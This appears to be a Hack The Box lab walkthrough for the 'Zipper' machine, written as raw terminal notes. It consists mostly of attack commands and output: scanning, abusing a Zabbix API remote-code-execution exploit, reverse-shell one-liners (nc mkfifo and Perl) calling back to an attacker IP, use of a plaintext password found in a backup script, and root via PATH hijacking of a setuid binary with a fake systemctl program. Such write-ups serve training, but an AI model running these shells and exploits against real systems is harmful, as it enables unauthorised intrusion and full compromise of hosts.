ZABBIX EXPLOIT

ZABBIX-CLI

SBITS SYSTEMCTL

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

| 2048 59:20:a3:a0:98:f2:a7:14:1e:08:e0:9b:81:72:99:0e (RSA)

| 256 aa:fe:25:f8:21:24:7c:fc:b5:4b:5f:05:24:69:4c:76 (ECDSA)

|_ 256 89:28:37:e2:b6:cc:d5:80:38:1f:b2:6a:3a:c3:a1:84 (ED25519)

80/tcp open http Apache httpd 2.4.29 ((Ubuntu))

|_http-server-header: Apache/2.4.29 (Ubuntu)

|_http-title: Apache2 Ubuntu Default Page: It works

10050/tcp open tcpwrapped

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

root@kali:/home/kali/Desktop/hackthebox/zipper# gobuster -u http://zipper.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

/zabbix (Status: 301)

http://zipper.htb/zabbix/

SIGN IN AS GUEST

MONITORING→LATEST DATA→ZAPPER BACKUP SCRIPT

http://zipper.htb/zabbix/

zapper-zapper GUI ACCESS DISABLED

root@kali:/home/kali/Desktop/hackthebox/zipper# searchsploit zabbix

Zabbix 2.2 < 3.0.3 - API JSON-RPC Remote Code Execution | php/webapps/39937.py

root@kali:/home/kali/Desktop/hackthebox/zipper# cp /usr/share/exploitdb/exploits/php/webapps/39937.py .

https://github.com/unioslo/zabbix-cli

root@kali:/home/kali/Desktop/tools/zabbix-cli# python setup.py install

root@kali:/home/kali/Desktop/tools/zabbix-cli# zabbix-cli –config

root@kali:/home/kali/Desktop/tools/zabbix-cli# locate zabbix-cli.conf

/home/kali/Desktop/tools/zabbix-cli/etc/zabbix-cli.conf

/usr/share/zabbix-cli/zabbix-cli.conf

root@kali:/home/kali/Desktop/tools/zabbix-cli# gedit /usr/share/zabbix-cli/zabbix-cli.conf

add zabbix api section:

zabbix_api_url=http://10.10.10.108/zabbix

root@kali:/home/kali/Desktop/hackthebox/zipper# zabbix-cli

zapper

zapper

[zabbix-cli zapper@zabbix-ID]$ create_usergroup

Name: guiaccess

GUI access [0]:

Status [0]:

[Done]: Usergroup (guiaccess) with ID: 13 created.

[zabbix-cli zapper@zabbix-ID]$ add_user_to_usergroup

Usernames: zapper

Usergroups: guiaccess

[Done]: Users zapper added to these usergroups: guiaccess

[zabbix-cli zapper@zabbix-ID]$ remove_user_from_usergroup

Username: zapper

Usergroups: No access to the frontend

[Done]: User zapper removed from this usergroup: No access to the frontend

NOW WE CAN ACCESS TO THE DASHBOARD

http://zipper.htb/zabbix/zabbix.php?action=dashboard.view

CONFIGURATION→HOSTS

http://zipper.htb/zabbix/hosts.php?form=update&hostid=10106&groupid=0

HOSTID=10106

NOW WE CAN EDIT PYTHON EXPLOIT

```
ZABIX_ROOT = 'http://10.10.10.108/zabbix'        ### Zabbix IP-address

url = ZABIX_ROOT + '/api_jsonrpc.php' ### Don't edit


login = 'zapper'                    ### Zabbix login

password = 'zapper'                 ### Zabbix password

hostid = '10106'      ### Zabbix hostid
```

```
root@kali:/home/kali/Desktop/hackthebox/zipper# python 39937.py

[zabbix_cmd]>>:  whoami

Zabbix

[zabbix_cmd]>>:  rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.27 1234 >/tmp/f

root@kali:/home/kali/Desktop/hackthebox/zipper# nc -nlvp 1234
```

SHELL GAINED!!!!!! ((?))))))))

WE ARE IN DOCKER CONTAINER

```
"execute_on" : "0"

### update

      payload = {

            "jsonrpc": "2.0",

            "method": "script.update",

            "params": {

               "scriptid": "1",

               "command": ""+cmd+""
```

```
        },
        "auth" : auth['result'],
        "id" : 0,
        "execute_on" : "0"
    }

    cmd_upd = requests.post(url, data=json.dumps(payload), headers=(headers))

### execute
    payload = {
        "jsonrpc": "2.0",
        "method": "script.execute",
        "params": {
           "scriptid": "1",
           "hostid": ""+hostid+""
        },
        "auth" : auth['result'],
        "id" : 0,
        "execute_on" : "1"
root@kali:/home/kali/Desktop/hackthebox/zipper# python 39937.py
[zabbix_cmd]>>:  whoami
perl -e 'use
Socket;$i="10.10.14.27";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,in
et_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
SHELL GAINED!!!!!!!!
zabbix@zipper:/home/zapper/utils$ ls
backup.sh  zabbix-service
zabbix@zipper:/home/zapper/utils$ cat backup.sh
#!/bin/bash
#
# Quick script to backup all utilities in this folder to /backups
```

#

/usr/bin/7z a /backups/zapper_backup-$(/bin/date +%F).7z -pZippityDoDah /home/zapper/utils/* &>/dev/null

echo $?zabbix@zipper:/home/zapper/utils$

zabbix@zipper:/home/zapper/utils$ su zapper

Password: ZippityDoDah

ZAPPER USER!!!!!!

zapper@zipper:~$ find /home/zapper/utils -perm -4000

/home/zapper/utils/zabbix-service

zapper@zipper:~/utils$ strings zabbix-service

systemctl daemon-reload && systemctl start zabbix-agent

zapper@zipper:~/utils$ which systemctl

/bin/systemctl

zapper@zipper:~/utils$ cat exploit.c

```
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void main()    {
        system("/bin/bash");
}
```

zapper@zipper:~/utils$ gcc exploit.c -o systemctl

zapper@zipper:~/utils$ export PATH=/home/zapper/utils:$PATH

zapper@zipper:~/utils$ echo $PATH

/home/zapper/utils:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games

zapper@zipper:~/utils$ which systemctl

/home/zapper/utils/systemctl

zapper@zipper:~/utils$ ./zabbix-service

start or stop?: start

ROOTED!!!!!